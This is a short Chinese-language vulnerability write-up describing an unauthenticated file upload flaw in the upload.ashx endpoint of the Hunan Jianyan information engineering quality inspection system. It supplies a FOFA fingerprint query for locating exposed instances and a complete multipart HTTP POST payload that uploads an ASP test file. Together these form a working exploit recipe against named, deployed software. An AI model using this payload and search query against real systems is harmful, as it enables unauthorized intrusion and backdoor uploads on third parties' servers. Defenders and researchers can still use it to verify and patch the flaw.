H20-2湖南建研-信息工程质量检测系统-文件上传

漏洞描述：

湖南建研信息工程质量检测系统upload.ashx接口处存在文件上漏洞，未授权的攻击者可通过此漏洞上传恶意后门文件，执行恶意命令获取

网站图片:

网络测绘:

fofa语法：

body=“/Content/Theme/Standard/webSite/login.css”

漏洞复现:

payload：

POST /Applications/Attachment/upload.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=------------------------8ecd2b831e8d20f4
Connection: close

--------------------------8ecd2b831e8d20f4
Content-Disposition: form-data; name="file"; filename="asd.txt"

<% Response.Write("Hello, World") %>
--------------------------8ecd2b831e8d20f4
Content-Disposition: form-data; name="_upload_guid"

asd
--------------------------8ecd2b831e8d20f4--

效果图:

参考链接:

https://blog.csdn.net/qq_41904294/article/details/138273192?spm=1001.2014.3001.5502